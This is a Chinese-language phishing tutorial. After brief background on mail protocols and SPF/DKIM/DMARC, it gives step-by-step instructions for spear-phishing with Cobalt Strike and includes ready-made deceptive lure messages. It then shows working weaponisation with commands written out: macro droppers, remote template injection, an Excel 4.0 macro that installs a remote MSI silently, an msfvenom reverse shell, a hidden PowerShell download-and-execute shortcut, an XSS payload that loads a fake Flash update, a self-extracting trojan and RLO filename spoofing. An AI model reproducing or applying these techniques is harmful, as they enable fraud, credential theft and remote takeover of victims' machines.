一、前置知识
什么是钓鱼:
网络钓鱼是目前最常见的攻击手法之一,通过信息收集,获取受害者们的邮箱、姓名、职务、手机等个人信息,再利用社会工程学手段进行攻击,所谓社会工程学,是一种通过对受害者心理弱点、本能反应、好奇心、信任、贪心等心理缺陷进行诸如欺骗、伤害等危害手段,在生活工作中,最常使用的邮件,各种文档也成为黑客常用的攻击载体,近些年来,网络钓鱼攻击趋势也一直是增长趋势,特别是在APT攻击,勒索软件等事件中,扮演了重要的角色。
SMTP协议:
SMTP全称是 Simple Mail Transfer Protocol, 是一种提供可靠且有效的电子邮件传输的协议 SMTP是建立在FTP文件传输服务上的一种邮件服务,主要用于系统之间的邮件信息传递,并提供有关来信的通知,其重要特性之一是其能跨越网络传输邮件,即“SMTP邮件中继”。使用SMTP,可实现相同网络处理进程之间的邮件传输,也可通过中继器或网关实现某处理进程与其他网络之间的邮件传输。
- SMTP默认端口:25
- SSL SMTP默认端口:465
POP协议:
POP的全称是 Post Office Protocol,即邮局协议,用于电子邮件的接收,常用的是第三版 ,所以简称为POP3,POP3仍采用Client/Server工作模式,Client被称为客户端,一般我们日常使用电脑都是作为客户端,而Server(服务器)则是网管人员进行管理的。举个形象的例子,Server(服务器)是许多小信箱的集合,就像我们所居住楼房的信箱结构,而客户端就好比是一个人拿着钥匙去信箱开锁取信一样的道理。
- POP3默认端口:110
IMAP协议:
IMAP全称是 Internet Message Access Protocol 以前称作交互邮件访问协议,是一个应用层协议。主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它与POP3协议的主要区别是用户可以不用把所有的邮件全部下载,可以通过客户端直接对服务器上的邮件进行操作。
- IMAP默认端口:143
SPF && DKIM && DMARC:
SPF全称是 Sender Policy Framework , 中文发件人策略框架,由于SMTP协议设计过于简单,攻击者可以轻易的伪造邮箱,所以SPF的作用是防范垃圾邮件而提出来的一种DNS记录类型,当然SPF也是可以被绕过的,它是一种TXT类型的记录,邮件接收方首先会去检查域名的SPF记录,来确定发件人的IP地址是否被包含在SPF记录里面,如果在,就认为是一封正确的邮件,否则会认为是一封伪造的邮件并进行退回,使用方法:
1 | nslookup -type=txt qq.com |
DKIM全称是 DomainKeys Identified Mail 电子邮件验证标准——域名密钥识别邮件标准, 同样依赖于DNS的TXT记录类型,一般来说,发送方会在电子邮件的标题插入DKIM-Signature及电子签名资讯。而接收方则透过DNS查询得到公开密钥后进行验证。
DMARC全称是 Domain-based Message Authentication, Reporting and Conformance , 2012年1月30号由Paypal,Google,微软,雅虎等开发,相关内容有DMARC协议。 一种基于现有的SPF和DKIM协议的可扩展电子邮件认证协议 由Mail Sender方(域名拥有者Domain Owner)在[DNS]里声明自己采用该协议。当Mail Receiver方(其MTA需支持DMARC协议)收到该域发送过来的邮件时,则进行DMARC校验,若校验失败还需发送一封report到指定[URI](常是一个邮箱地址)。
二、前期准备
基础设施:
在进行钓鱼之前,需要准备一些邮箱服务,国内比较多的是网易163,qq等等,国外网站有hotmail、outlook等等,这里使用网易邮箱进行搭建stmp服务,然后链接到Cobalt Strike上,使用Cobalt Strike进行发送钓鱼邮件
- 首先登录网易163账号,点击POP3/SMTP/IMAP,再点击开启pop3/smtp服务,图中已开启,在开启时还会有个授权码
- 在Mali Server处添加邮件
1 | Host:输入smtp.163.com |
- 制作钓鱼邮件,Attacks –> Speah Phish
1 | Targets:受害者邮箱 |
- 制作受害者邮箱,格式如下
1 | 受害者1@xxx.com snail |
- 使用qq给163发送一封钓鱼邮件,然后在更多 –> 导出邮件处导出邮件,后缀为.eml
- 把受害者邮件以及钓鱼邮件导入,点击send就会像受害者发送邮件
- 在send email可以看到详细信息
钓鱼话术:
这里介绍一些常用的钓鱼话术,当然在实际情况中,要结合受害者信息进行修改
- 网页模板
1 | 各位同事,大家好! |
- 网络安全培训
1 | 各位同事,大家好! |
- 护网行动通知
1 | 为确保x月份xxx省公安厅主办的重点保障活动(以下简称活动)的成功实施,全面保障我xxx的信息系统安全,现要求对各服务器及个人终端进行弱口令自查。 |
三、钓鱼实战
钓鱼网站:
钓鱼网站相信大家都遇到过,一些最初在各大QQ群常见的扫描二维码进入空间钓鱼,以及针对学生,用奖学金国家补助等登录qq邮箱,配合着特定的话术以及和原网站看起来相同的域名来提高诈骗率等等,上述这两种钓鱼方法是最为常见的方法,把源码解压到服务器,然后受害者在访问网站时会看到一个和正规网站相同的网站,从而输入账号密码等敏感信息,随后这些敏感信息就会发送到攻击者后台,这里介绍一下使用Cobalt Strike伪造网站的方法,位置:Attacks –> Web Drive-be –> Clone site
上述分别对应的是
1 | Clone URL:所克隆网站的url |
此处对百度进行伪造,输入百度链接就行了
然后随便输入个什么字符,cs这边都能接收到,这边就不放图了,有兴趣的自己尝试
Office钓鱼:
Office宏,宏是Office自带的一种高级脚本特性,通过VBA代码,可以在Office中完成某项特定的任务,而不必再重复想要的动作,目的是让用户文档中的一些任务自动化,而宏病毒是一种寄存在文档或模板的宏中的计算机病毒,一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上,Visual Bacic for Applications(VBA)是Visual Bacic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能,特别是Microsoft Office软件,也可说是一种应用程式视觉化的Basic脚本。
1 | 环境:cs4.3,word2016 |
首先打开word2016的自定义功能区,勾住开发工具
第二步点击宏,名字随意
选择创建
然后回到cs,生成宏病毒
把生成好的内容,直接全选把原有的贴过去,然后选择Auto_Open
ctrl+s进行保存,然后提示无法保存再未启用宏的文档中,选择否然后就会要新保存在另外一个文档,选择启用宏的word模板
然后右键打开即可上线,记住只可以右键打开,双击打开无效
DOCX远程注入:
与传统的宏启用文档相比,这种攻击的好处是多方面的,在对目标执行网络钓鱼攻击时,您可以将.docx的文档直接附加到电子邮件中,并且您不太可能根据文件的拓展名去阻止它,Word远程模板执行宏就是利用Word文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标用户点开攻击者发给他的恶意word文档就可以通过向远程服务器发送恶意请求的方法,然后加载模板执行恶意模板的宏。这种攻击更常见的原因是,发送的文档本身是不带恶意代码的,能过很多静态的检测。
首先需要创建一个上文中包含宏病毒的.dotm模板
然后把创建好的文件放到远程服务器上
完成以后,新创建一个word文档,在文档中选择任意模板,比如学习资料,个人简历等等,然后修改docx后缀为zip,进行解压
解压完成后就是如上图所示,打开word/_rels文件夹,选择settings.xml.rels,没有选择模板,就没有这个文件
打开这个文件,修改链接为刚才服务器+.dotm宏病毒文件的链接进行保存,然后重新把这个目录压缩成zip,再修改zip为docx,双击打开启动宏即可上线
Excel4.0宏:
Excel一般指Microsoft Office Microsoft Excel是Microsoft为使用Windows和Aoole Macintosh操纵系统的电脑编写的一款电子表格软件,直观的界面、出色的计算功能和图标工具,再加上成功的市场营销,使Excel称谓最流行的个人计算机数据处理软件,它跟office一样都是支持宏,所以一样存在宏病毒,当我们把恶意的宏代码嵌入Excel中,用户打开Excel文件里的宏就会被触发。
首先使用kali生成msi文件:
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=ip lport=端口 -f msi -o hack.msi |
生成好后,开启一个web服务:
1 | python -m SimpleHTTPServer 80 |
第二步可以去监听端口:
1 | msfconsole msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set LHOST 172.16.1.57 msf5 exploit(multi/handler) > set LPORT 1234 msf5 exploit(multi/handler) > run |
第三步创建一个execl文件,然后右键插入宏
选择MS Execl4.0宏表
然后把以下代码贴过去:
1 | =EXEC("msiexec /q /i http://172.16.1.57/hack.msi") =HALT() |
然后修改单元格名为Auto_Open,文档被打开时自动运行宏
为了防止被发现可以右键宏选择隐藏
第三步保存文件,会提示以下信息这里选择否,然后另外为xlsm格式,右键打开刚才保存的文件,点击启用宏即可上线
Ink快捷方式:
Ink文件是用于指向其他文件的一种文件,这些文件通常被称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快捷的调用
首先使用cs生成一个powershell上线
然后随便选择一个文件右键生成快捷方式
右键这个快捷方式文件,选择属性
修改目标为powershell地址以及刚才生成的powershell远程上线命令:
1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.16.1.57:8444/a'))" |
修改完了后,再次右键选择属性进行修改图标
然后再修改一个后缀,双击打开即可上线
XSS && RAR自解压:
这里把XSS Flash钓鱼和RAR自解压钓鱼写到一块,某大佬的项目地址
1 | https://github.com/hackxc/xss_flash |
搭建flash钓鱼网站,这里使用phpstudy本地搭建,根目录设置为Flash.cn文件夹
搭建完成,大佬写的项目还是很像的
这里使用cobaltstrike生成木马,Attacks –> Packages –>Windows Executable
生成好木马后还需要电脑上下载有winrar解压软件,下载好后创建一个新的文件夹,我这里命名的捆绑木马制作,然后按照下图,把所有的东西都复制进去,还有cobaltstrike生成的木马
选择这些东西,然后右键进行压缩,并更改后缀为exe
点击高级 –> 自解压选项 –> 解压路径:
1 | C:\windows\temp |
点击设置,选择提取后运行:
1 | C:\windows\temp\artifact.exe |
点击模式选择全部隐藏
点击更新,选择解压并更新文件和覆盖所有文件
保存后,生成exe,点击后会解压软件然后执行,这里再使用cobaltstrike上的host file功能挂载到服务器上
然后把cobaltstrike生成好的链接去替换到鱼网站主页的下载链接
再把version.js放进钓鱼网站里,然后修改其跳转地址为http://www.flash.com
打开xss靶场
输入xss代码,插入进去后刷新页面
1 | "><script>alert("您的FLASH版本过低,尝试升级后访问该页面")</script><script src="http://www.flash.com/version.js"></script> |
点击确定后跳转到flash钓鱼页面
点击下载
双击打开
查看cobaltstrike,发现主机上线成功
四、一些小Tips
RTL(文件名伪装):
RLO是微软的一个中东Unicode字符8238,或者0x202E,可以使后面的字符都变为RTL(阿拉伯语从右往左书写,对我们来说就是倒着的),可以简单用于改变文件的真实扩展名,进行文件名欺骗,引诱人下载恶意程序。
以a.exe举例,由于这里我为了方便,所以直接新建了个txt文本,图标没刷新过来
修改名称为agpj.exe
接着继续修改名称,在a后面右键,选择插入Unicode控制字符->RLO
伪造图标:
这里使用的工具为Restorator,就不放链接了,百度一搜就有
打开需要伪造的exe
右键rg.exe,选择添加资源 –> 图标,名称为1
随后将ico图片拉进去进行保存即可
必杀技:
通过添加好友直接发送钓鱼邮件,用的好有奇效
五、总结
钓鱼的方法有很多,这里仅仅介绍了几种常见的手法,除了以上几种,还有一些webshell后门、import投毒、CHM电子书等手段,但是要记住,在钓鱼攻击开展之前,一定要好好进行准备,不论是免杀亦或是隐藏,开弓没有回头箭,以上仅作学习研究,切勿用于违法犯罪。